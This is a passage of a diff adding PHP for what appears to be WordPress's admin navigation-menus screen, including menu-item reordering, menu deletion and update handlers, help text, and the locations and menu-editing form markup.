+						! empty( $menu_item_data['menu_item_parent'] ) &&
+						(
+							empty( $next_item_data['menu_item_parent'] ) ||
+							$next_item_data['menu_item_parent'] != $menu_item_data['menu_item_parent']
+						)
+					) {
+
+						$parent_db_id = in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids ) ? (int) $menu_item_data['menu_item_parent'] : 0;
+
+						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );
+
+						if ( ! is_wp_error( $parent_object ) ) {
+							$parent_data = (array) $parent_object;
+							$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];
+							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+
+						}
+
+					// Make menu item a child of its next sibling.
+					} else {
+						$next_item_data['menu_order'] = $next_item_data['menu_order'] - 1;
+						$menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1;
+
+						$menu_item_data['menu_item_parent'] = $next_item_data['ID'];
+						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+
+						wp_update_post($menu_item_data);
+						wp_update_post($next_item_data);
+					}
+
+				// The item is last but still has a parent, so bubble up.
+				} elseif (
+					! empty( $menu_item_data['menu_item_parent'] ) &&
+					in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids )
+				) {
+					$menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true);
+					update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+				}
+			}
+		}
+
+		break;
+	case 'move-up-menu-item' :
+		check_admin_referer( 'move-menu_item' );
+		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;
+		if ( is_nav_menu_item( $menu_item_id ) ) {
+			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
+			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
+				$menu_id = (int) $menus[0];
+				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
+				$menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );
+
+				// Set up the data we need in one pass through the array of menu items.
+				$dbids_to_orders = array();
+				$orders_to_dbids = array();
+				foreach( (array) $ordered_menu_items as $ordered_menu_item_object ) {
+					if ( isset( $ordered_menu_item_object->ID ) ) {
+						if ( isset( $ordered_menu_item_object->menu_order ) ) {
+							$dbids_to_orders[$ordered_menu_item_object->ID] = $ordered_menu_item_object->menu_order;
+							$orders_to_dbids[$ordered_menu_item_object->menu_order] = $ordered_menu_item_object->ID;
+						}
+					}
+				}
+
+				// If this menu item is not first.
+				if ( ! empty( $dbids_to_orders[$menu_item_id] ) && ! empty( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) ) {
+
+					// If this menu item is a child of the previous.
+					if (
+						! empty( $menu_item_data['menu_item_parent'] ) &&
+						in_array( $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ) ) &&
+						isset( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) &&
+						( $menu_item_data['menu_item_parent'] == $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] )
+					) {
+						$parent_db_id = in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids ) ? (int) $menu_item_data['menu_item_parent'] : 0;
+						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );
+
+						if ( ! is_wp_error( $parent_object ) ) {
+							$parent_data = (array) $parent_object;
+
+							/*
+							 * If there is something before the parent and parent a child of it,
+							 * make menu item a child also of it.
+							 */
+							if (
+								! empty( $dbids_to_orders[$parent_db_id] ) &&
+								! empty( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1] ) &&
+								! empty( $parent_data['menu_item_parent'] )
+							) {
+								$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];
+
+							/*
+							 * Else if there is something before parent and parent not a child of it,
+							 * make menu item a child of that something's parent
+							 */
+							} elseif (
+								! empty( $dbids_to_orders[$parent_db_id] ) &&
+								! empty( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1] )
+							) {
+								$_possible_parent_id = (int) get_post_meta( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1], '_menu_item_menu_item_parent', true);
+								if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ) ) )
+									$menu_item_data['menu_item_parent'] = $_possible_parent_id;
+								else
+									$menu_item_data['menu_item_parent'] = 0;
+
+							// Else there isn't something before the parent.
+							} else {
+								$menu_item_data['menu_item_parent'] = 0;
+							}
+
+							// Set former parent's [menu_order] to that of menu-item's.
+							$parent_data['menu_order'] = $parent_data['menu_order'] + 1;
+
+							// Set menu-item's [menu_order] to that of former parent.
+							$menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1;
+
+							// Save changes.
+							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+							wp_update_post($menu_item_data);
+							wp_update_post($parent_data);
+						}
+
+					// Else this menu item is not a child of the previous.
+					} elseif (
+						empty( $menu_item_data['menu_order'] ) ||
+						empty( $menu_item_data['menu_item_parent'] ) ||
+						! in_array( $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ) ) ||
+						empty( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) ||
+						$orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] != $menu_item_data['menu_item_parent']
+					) {
+						// Just make it a child of the previous; keep the order.
+						$menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1];
+						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+						wp_update_post($menu_item_data);
+					}
+				}
+			}
+		}
+		break;
+
+	case 'delete-menu-item':
+		$menu_item_id = (int) $_REQUEST['menu-item'];
+
+		check_admin_referer( 'delete-menu_item_' . $menu_item_id );
+
+		if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) )
+			$messages[] = '<div id="message" class="updated"><p>' . __('The menu item has been successfully deleted.') . '</p></div>';
+		break;
+
+	case 'delete':
+		check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id );
+		if ( is_nav_menu( $nav_menu_selected_id ) ) {
+			$deletion = wp_delete_nav_menu( $nav_menu_selected_id );
+		} else {
+			// Reset the selected menu.
+			$nav_menu_selected_id = 0;
+			unset( $_REQUEST['menu'] );
+		}
+
+		if ( ! isset( $deletion ) )
+			break;
+
+		if ( is_wp_error( $deletion ) )
+			$messages[] = '<div id="message" class="error"><p>' . $deletion->get_error_message() . '</p></div>';
+		else
+			$messages[] = '<div id="message" class="updated"><p>' . __( 'The menu has been successfully deleted.' ) . '</p></div>';
+		break;
+
+	case 'delete_menus':
+		check_admin_referer( 'nav_menus_bulk_actions' );
+		foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) {
+			if ( ! is_nav_menu( $menu_id_to_delete ) )
+				continue;
+
+			$deletion = wp_delete_nav_menu( $menu_id_to_delete );
+			if ( is_wp_error( $deletion ) ) {
+				$messages[] = '<div id="message" class="error"><p>' . $deletion->get_error_message() . '</p></div>';
+				$deletion_error = true;
+			}
+		}
+
+		if ( empty( $deletion_error ) )
+			$messages[] = '<div id="message" class="updated"><p>' . __( 'Selected menus have been successfully deleted.' ) . '</p></div>';
+		break;
+
+	case 'update':
+		check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' );
+
+		// Remove menu locations that have been unchecked.
+		foreach ( $locations as $location => $description ) {
+			if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] == $nav_menu_selected_id )
+				unset( $menu_locations[ $location ] );
+		}
+
+		// Merge new and existing menu locations if any new ones are set.
+		if ( isset( $_POST['menu-locations'] ) ) {
+			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
+			$menu_locations = array_merge( $menu_locations, $new_menu_locations );
+		}
+
+		// Set menu locations.
+		set_theme_mod( 'nav_menu_locations', $menu_locations );
+
+		// Add Menu.
+		if ( 0 == $nav_menu_selected_id ) {
+			$new_menu_title = trim( esc_html( $_POST['menu-name'] ) );
+
+			if ( $new_menu_title ) {
+				$_nav_menu_selected_id = wp_update_nav_menu_object( 0, array('menu-name' => $new_menu_title) );
+
+				if ( is_wp_error( $_nav_menu_selected_id ) ) {
+					$messages[] = '<div id="message" class="error"><p>' . $_nav_menu_selected_id->get_error_message() . '</p></div>';
+				} else {
+					$_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id );
+					$nav_menu_selected_id = $_nav_menu_selected_id;
+					$nav_menu_selected_title = $_menu_object->name;
+					if ( isset( $_REQUEST['menu-item'] ) )
+						wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) );
+					if ( isset( $_REQUEST['zero-menu-state'] ) ) {
+						// If there are menu items, add them
+						wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title );
+						// Auto-save nav_menu_locations
+						$locations = get_nav_menu_locations();
+						foreach ( $locations as $location => $menu_id ) {
+								$locations[ $location ] = $nav_menu_selected_id;
+								break; // There should only be 1
+						}
+						set_theme_mod( 'nav_menu_locations', $locations );
+					}
+					if ( isset( $_REQUEST['use-location'] ) ) {
+						$locations = get_registered_nav_menus();
+						$menu_locations = get_nav_menu_locations();
+						if ( isset( $locations[ $_REQUEST['use-location'] ] ) )
+							$menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id;
+						set_theme_mod( 'nav_menu_locations', $menu_locations );
+					}
+
+					// $messages[] = '<div id="message" class="updated"><p>' . sprintf( __( '<strong>%s</strong> has been created.' ), $nav_menu_selected_title ) . '</p></div>';
+					wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) );
+					exit();
+				}
+			} else {
+				$messages[] = '<div id="message" class="error"><p>' . __( 'Please enter a valid menu name.' ) . '</p></div>';
+			}
+
+		// Update existing menu.
+		} else {
+
+			$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );
+
+			$menu_title = trim( esc_html( $_POST['menu-name'] ) );
+			if ( ! $menu_title ) {
+				$messages[] = '<div id="message" class="error"><p>' . __( 'Please enter a valid menu name.' ) . '</p></div>';
+				$menu_title = $_menu_object->name;
+			}
+
+			if ( ! is_wp_error( $_menu_object ) ) {
+				$_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) );
+				if ( is_wp_error( $_nav_menu_selected_id ) ) {
+					$_menu_object = $_nav_menu_selected_id;
+					$messages[] = '<div id="message" class="error"><p>' . $_nav_menu_selected_id->get_error_message() . '</p></div>';
+				} else {
+					$_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id );
+					$nav_menu_selected_title = $_menu_object->name;
+				}
+			}
+
+			// Update menu items.
+			if ( ! is_wp_error( $_menu_object ) ) {
+				$messages = array_merge( $messages, wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ) );
+			}
+		}
+		break;
+	case 'locations':
+		if ( ! $num_locations ) {
+			wp_redirect( admin_url( 'nav-menus.php' ) );
+			exit();
+		}
+
+		add_filter( 'screen_options_show_screen', '__return_false' );
+
+		if ( isset( $_POST['menu-locations'] ) ) {
+			check_admin_referer( 'save-menu-locations' );
+
+			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
+			$menu_locations = array_merge( $menu_locations, $new_menu_locations );
+			// Set menu locations
+			set_theme_mod( 'nav_menu_locations', $menu_locations );
+
+			$messages[] = '<div id="message" class="updated"><p>' . __( 'Menu locations updated.' ) . '</p></div>';
+		}
+		break;
+}
+
+// Get all nav menus.
+$nav_menus = wp_get_nav_menus();
+$menu_count = count( $nav_menus );
+
+// Are we on the add new screen?
+$add_new_screen = ( isset( $_GET['menu'] ) && 0 == $_GET['menu'] ) ? true : false;
+
+$locations_screen = ( isset( $_GET['action'] ) && 'locations' == $_GET['action'] ) ? true : false;
+
+/*
+ * If we have one theme location, and zero menus, we take them right
+ * into editing their first menu.
+ */
+$page_count = wp_count_posts( 'page' );
+$one_theme_location_no_menus = ( 1 == count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) ? true : false;
+
+$nav_menus_l10n = array(
+	'oneThemeLocationNoMenus' => $one_theme_location_no_menus,
+	'moveUp'       => __( 'Move up one' ),
+	'moveDown'     => __( 'Move down one' ),
+	'moveToTop'    => __( 'Move to the top' ),
+	/* translators: %s: previous item name */
+	'moveUnder'    => __( 'Move under %s' ),
+	/* translators: %s: previous item name */
+	'moveOutFrom'  => __( 'Move out from under %s' ),
+	/* translators: %s: previous item name */
+	'under'        => __( 'Under %s' ),
+	/* translators: %s: previous item name */
+	'outFrom'      => __( 'Out from under %s' ),
+	/* translators: 1: item name, 2: item position, 3: total number of items */
+	'menuFocus'    => __( '%1$s. Menu item %2$d of %3$d.' ),
+	/* translators: 1: item name, 2: item position, 3: parent item name */
+	'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ),
+);
+wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );
+
+/*
+ * Redirect to add screen if there are no menus and this users has either zero,
+ * or more than 1 theme locations.
+ */
+if ( 0 == $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus )
+	wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) );
+
+// Get recently edited nav menu.
+$recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) );
+if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) )
+	$recently_edited = $nav_menu_selected_id;
+
+// Use $recently_edited if none are selected.
+if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) )
+	$nav_menu_selected_id = $recently_edited;
+
+// On deletion of menu, if another menu exists, show it.
+if ( ! $add_new_screen && 0 < $menu_count && isset( $_GET['action'] ) && 'delete' == $_GET['action'] )
+	$nav_menu_selected_id = $nav_menus[0]->term_id;
+
+// Set $nav_menu_selected_id to 0 if no menus.
+if ( $one_theme_location_no_menus ) {
+	$nav_menu_selected_id = 0;
+} elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) {
+	// if we have no selection yet, and we have menus, set to the first one in the list.
+	$nav_menu_selected_id = $nav_menus[0]->term_id;
+}
+
+// Update the user's setting.
+if ( $nav_menu_selected_id != $recently_edited && is_nav_menu( $nav_menu_selected_id ) )
+	update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id );
+
+// If there's a menu, get its name.
+if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) {
+	$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );
+	$nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : '';
+}
+
+// Generate truncated menu names.
+foreach( (array) $nav_menus as $key => $_nav_menu ) {
+	$nav_menus[$key]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '&hellip;' );
+}
+
+// Retrieve menu locations.
+if ( current_theme_supports( 'menus' ) ) {
+	$locations = get_registered_nav_menus();
+	$menu_locations = get_nav_menu_locations();
+}
+
+/*
+ * Ensure the user will be able to scroll horizontally
+ * by adding a class for the max menu depth.
+ */
+global $_wp_nav_menu_max_depth;
+$_wp_nav_menu_max_depth = 0;
+
+// Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth.
+if ( is_nav_menu( $nav_menu_selected_id ) ) {
+	$menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) );
+	$edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id );
+}
+
+function wp_nav_menu_max_depth($classes) {
+	global $_wp_nav_menu_max_depth;
+	return "$classes menu-max-depth-$_wp_nav_menu_max_depth";
+}
+
+add_filter('admin_body_class', 'wp_nav_menu_max_depth');
+
+wp_nav_menu_setup();
+wp_initial_nav_menu_meta_boxes();
+
+if ( ! current_theme_supports( 'menus' ) && ! $num_locations )
+	$messages[] = '<div id="message" class="updated"><p>' . sprintf( __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a &#8220;Custom Menu&#8221; widget on the <a href="%s">Widgets</a> screen.' ), admin_url( 'widgets.php' ) ) . '</p></div>';
+
+if ( ! $locations_screen ) : // Main tab
+	$overview  = '<p>' . __( 'This screen is used for managing your custom navigation menus.' ) . '</p>';
+	$overview .= '<p>' . sprintf( __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a &#8220;Custom Menu&#8221; widget on the <a href="%1$s">Widgets</a> screen. If your theme does not support the custom menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the Documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Fifteen', 'Twenty Fourteen' ) . '</p>';
+	$overview .= '<p>' . __( 'From this screen you can:' ) . '</p>';
+	$overview .= '<ul><li>' . __( 'Create, edit, and delete menus' ) . '</li>';
+	$overview .= '<li>' . __( 'Add, organize, and modify individual menu items' ) . '</li></ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __( 'Overview' ),
+		'content' => $overview
+	) );
+
+	$menu_management  = '<p>' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '</p>';
+	$menu_management .= '<ul><li>' . __( 'To edit an existing menu, <strong>choose a menu from the drop down and click Select</strong>' ) . '</li>';
+	$menu_management .= '<li>' . __( 'If you haven&#8217;t yet created any menus, <strong>click the &#8217;create a new menu&#8217; link</strong> to get started' ) . '</li></ul>';
+	$menu_management .= '<p>' . __( 'You can assign theme locations to individual menus by <strong>selecting the desired settings</strong> at the bottom of the menu editor. To assign menus to all theme locations at once, <strong>visit the Manage Locations tab</strong> at the top of the screen.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'menu-management',
+		'title'   => __( 'Menu Management' ),
+		'content' => $menu_management
+	) );
+
+	$editing_menus  = '<p>' . __( 'Each custom menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '</p>';
+	$editing_menus .= '<p>' . __( '<strong>Clicking the arrow to the right of any menu item</strong> in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '</p>';
+	$editing_menus .= '<ul><li>' . __( 'Add one or several items at once by <strong>selecting the checkbox next to each item and clicking Add to Menu</strong>' ) . '</li>';
+	$editing_menus .= '<li>' . __( 'To add a custom link, <strong>expand the Links section, enter a URL and link text, and click Add to Menu</strong>' ) .'</li>';
+	$editing_menus .= '<li>' . __( 'To reorganize menu items, <strong>drag and drop items with your mouse or use your keyboard</strong>. Drag or move a menu item a little to the right to make it a submenu' ) . '</li>';
+	$editing_menus .= '<li>' . __( 'Delete a menu item by <strong>expanding it and clicking the Remove link</strong>' ) . '</li></ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'editing-menus',
+		'title'   => __( 'Editing Menus' ),
+		'content' => $editing_menus
+	) );
+else : // Locations Tab.
+	$locations_overview  = '<p>' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '</p>';
+	$locations_overview .= '<ul><li>' . __( 'To assign menus to one or more theme locations, <strong>select a menu from each location&#8217;s drop down.</strong> When you&#8217;re finished, <strong>click Save Changes</strong>' ) . '</li>';
+	$locations_overview .= '<li>' . __( 'To edit a menu currently assigned to a theme location, <strong>click the adjacent &#8217;Edit&#8217; link</strong>' ) . '</li>';
+	$locations_overview .= '<li>' . __( 'To add a new menu instead of assigning an existing one, <strong>click the &#8217;Use new menu&#8217; link</strong>. Your new menu will be automatically assigned to that theme location' ) . '</li></ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'locations-overview',
+		'title'   => __( 'Overview' ),
+		'content' => $locations_overview
+	) );
+endif;
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Appearance_Menus_Screen" target="_blank">Documentation on Menus</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+// Get the admin header.
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+	<h2 class="nav-tab-wrapper">
+		<a href="<?php echo admin_url( 'nav-menus.php' ); ?>" class="nav-tab<?php if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' != $_GET['action'] ) echo ' nav-tab-active'; ?>"><?php esc_html_e( 'Edit Menus' ); ?></a>
+		<?php if ( $num_locations && $menu_count ) : ?>
+			<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>" class="nav-tab<?php if ( $locations_screen ) echo ' nav-tab-active'; ?>"><?php esc_html_e( 'Manage Locations' ); ?></a>
+		<?php endif; ?>
+	</h2>
+	<?php
+	foreach( $messages as $message ) :
+		echo $message . "\n";
+	endforeach;
+	?>
+	<?php
+	if ( $locations_screen ) :
+		echo '<p>' . sprintf( _n( 'Your theme supports %s menu. Select which menu you would like to use.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>';
+	?>
+	<div id="menu-locations-wrap">
+		<form method="post" action="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>">
+			<table class="widefat fixed" id="menu-locations-table">
+				<thead>
+				<tr>
+					<th scope="col" class="manage-column column-locations"><?php _e( 'Theme Location' ); ?></th>
+					<th scope="col" class="manage-column column-menus"><?php _e( 'Assigned Menu' ); ?></th>
+				</tr>
+				</thead>
+				<!--<tfoot>
+				<tr>
+					<th scope="col" class="manage-column column-locations"><?php _e( 'Theme Location' ); ?></th>
+					<th scope="col" class="manage-column column-menus"><?php _e( 'Assigned Menu' ); ?></th>
+				</tr>
+				</tfoot>-->
+				<tbody class="menu-locations">
+				<?php foreach ( $locations as $_location => $_name ) { ?>
+					<tr id="menu-locations-row">
+						<td class="menu-location-title"><strong><?php echo $_name; ?></strong></td>
+						<td class="menu-location-menus">
+							<select name="menu-locations[<?php echo $_location; ?>]" id="locations-<?php echo $_location; ?>">
+								<option value="0"><?php printf( '&mdash; %s &mdash;', esc_html__( 'Select a Menu' ) ); ?></option>
+								<?php foreach ( $nav_menus as $menu ) : ?>
+									<?php $selected = isset( $menu_locations[$_location] ) && $menu_locations[$_location] == $menu->term_id; ?>
+									<option <?php if ( $selected ) echo 'data-orig="true"'; ?> <?php selected( $selected ); ?> value="<?php echo $menu->term_id; ?>">
+										<?php echo wp_html_excerpt( $menu->name, 40, '&hellip;' ); ?>
+									</option>
+								<?php endforeach; ?>
+							</select>
+							<div class="locations-row-links">
+								<?php if ( isset( $menu_locations[ $_location ] ) && 0 != $menu_locations[ $_location ] ) : ?>
+								<span class="locations-edit-menu-link">
+									<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => $menu_locations[$_location] ), admin_url( 'nav-menus.php' ) ) ); ?>">
+										<?php _ex( 'Edit', 'menu' ); ?>
+									</a>
+								</span>
+								<?php endif; ?>
+								<span class="locations-add-menu-link">
+									<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, 'use-location' => $_location ), admin_url( 'nav-menus.php' ) ) ); ?>">
+										<?php _ex( 'Use new menu', 'menu' ); ?>
+									</a>
+								</span>
+							</div><!-- #locations-row-links -->
+						</td><!-- .menu-location-menus -->
+					</tr><!-- #menu-locations-row -->
+				<?php } // foreach ?>
+				</tbody>
+			</table>
+			<p class="button-controls"><?php submit_button( __( 'Save Changes' ), 'primary left', 'nav-menu-locations', false ); ?></p>
+			<?php wp_nonce_field( 'save-menu-locations' ); ?>
+			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+		</form>
+	</div><!-- #menu-locations-wrap -->
+	<?php
+	/**
+	 * Fires after the menu locations table is displayed.
+	 *
+	 * @since 3.6.0
+	 */
+	do_action( 'after_menu_locations_table' ); ?>
+	<?php else : ?>
+	<div class="manage-menus">
+ 		<?php if ( $menu_count < 2 ) : ?>
+		<span class="add-edit-menu-action">
+			<?php printf( __( 'Edit your menu below, or <a href="%s">create a new menu</a>.' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0 ), admin_url( 'nav-menus.php' ) ) ) ); ?>
+		</span><!-- /add-edit-menu-action -->
+		<?php else : ?>
+			<form method="get" action="<?php echo admin_url( 'nav-menus.php' ); ?>">
+			<input type="hidden" name="action" value="edit" />
+			<label for="menu" class="selected-menu"><?php _e( 'Select a menu to edit:' ); ?></label>
+			<select name="menu" id="menu">
+				<?php if ( $add_new_screen ) : ?>
+					<option value="0" selected="selected"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+				<?php endif; ?>
+				<?php foreach( (array) $nav_menus as $_nav_menu ) : ?>
+					<option value="<?php echo esc_attr( $_nav_menu->term_id ); ?>" <?php selected( $_nav_menu->term_id, $nav_menu_selected_id ); ?>>
+						<?php
+						echo esc_html( $_nav_menu->truncated_name ) ;
+
+						if ( ! empty( $menu_locations ) && in_array( $_nav_menu->term_id, $menu_locations ) ) {
+							$locations_assigned_to_this_menu = array();
+							foreach ( array_keys( $menu_locations, $_nav_menu->term_id ) as $menu_location_key ) {
+								if ( isset( $locations[ $menu_location_key ] ) ) {
+									$locations_assigned_to_this_menu[] = $locations[ $menu_location_key ];
+								}
+							}
+
+							/**
+							 * Filter the number of locations listed per menu in the drop-down select.
+							 *
+							 * @since 3.6.0
+							 *
+							 * @param int $locations Number of menu locations to list. Default 3.
+							 */
+							$assigned_locations = array_slice( $locations_assigned_to_this_menu, 0, absint( apply_filters( 'wp_nav_locations_listed_per_menu', 3 ) ) );
+
+							// Adds ellipses following the number of locations defined in $assigned_locations.
+							if ( ! empty( $assigned_locations ) ) {
+								printf( ' (%1$s%2$s)',
+									implode( ', ', $assigned_locations ),
+									count( $locations_assigned_to_this_menu ) > count( $assigned_locations ) ? ' &hellip;' : ''
+								);
+							}
+						}
+						?>
+					</option>
+				<?php endforeach; ?>
+			</select>
+			<span class="submit-btn"><input type="submit" class="button-secondary" value="<?php esc_attr_e( 'Select' ); ?>"></span>
+			<span class="add-new-menu-action">
+				<?php printf( __( 'or <a href="%s">create a new menu</a>.' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0 ), admin_url( 'nav-menus.php' ) ) ) ); ?>
+			</span><!-- /add-new-menu-action -->
+		</form>
+	<?php endif; ?>
+	</div><!-- /manage-menus -->
+	<div id="nav-menus-frame">
+	<div id="menu-settings-column" class="metabox-holder<?php if ( isset( $_GET['menu'] ) && '0' == $_GET['menu'] ) { echo ' metabox-holder-disabled'; } ?>">
+
+		<div class="clear"></div>
+
+		<form id="nav-menu-meta" action="" class="nav-menu-meta" method="post" enctype="multipart/form-data">
+			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+			<input type="hidden" name="action" value="add-menu-item" />
+			<?php wp_nonce_field( 'add-menu_item', 'menu-settings-column-nonce' ); ?>
+			<?php do_accordion_sections( 'nav-menus', 'side', null ); ?>
+		</form>
+
+	</div><!-- /#menu-settings-column -->
+	<div id="menu-management-liquid">
+		<div id="menu-management">
+			<form id="update-nav-menu" action="" method="post" enctype="multipart/form-data">
+				<div class="menu-edit <?php if ( $add_new_screen ) echo 'blank-slate'; ?>">
+					<?php
+					wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+					wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+					wp_nonce_field( 'update-nav_menu', 'update-nav-menu-nonce' );
+
+					if ( $one_theme_location_no_menus ) { ?>
+						<input type="hidden" name="zero-menu-state" value="true" />
+					<?php } ?>
+ 					<input type="hidden" name="action" value="update" />
+					<input type="hidden" name="menu" id="menu" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+					<div id="nav-menu-header">
+						<div class="major-publishing-actions">
+							<label class="menu-name-label howto open-label" for="menu-name">
+								<span><?php _e( 'Menu Name' ); ?></span>
+								<input name="menu-name" id="menu-name" type="text" class="menu-name regular-text menu-item-textbox input-with-default-title" title="<?php esc_attr_e( 'Enter menu name here' ); ?>" value="<?php if ( $one_theme_location_no_menus ) _e( 'Menu 1' ); else echo esc_attr( $nav_menu_selected_title ); ?>" />
+							</label>
+							<div class="publishing-action">
+								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'button-primary menu-save', 'save_menu', false, array( 'id' => 'save_menu_header' ) ); ?>
+							</div><!-- END .publishing-action -->
+						</div><!-- END .major-publishing-actions -->
+					</div><!-- END .nav-menu-header -->
+					<div id="post-body">
+						<div id="post-body-content">
+							<?php if ( ! $add_new_screen ) : ?>
+							<h3><?php _e( 'Menu Structure' ); ?></h3>
+							<?php $starter_copy = ( $one_theme_location_no_menus ) ? __( 'Edit your default menu by adding or removing items. Drag each item into the order you prefer. Click Create Menu to save your changes.' ) : __( 'Drag each item into the order you prefer. Click the arrow on the right of the item to reveal additional configuration options.' ); ?>
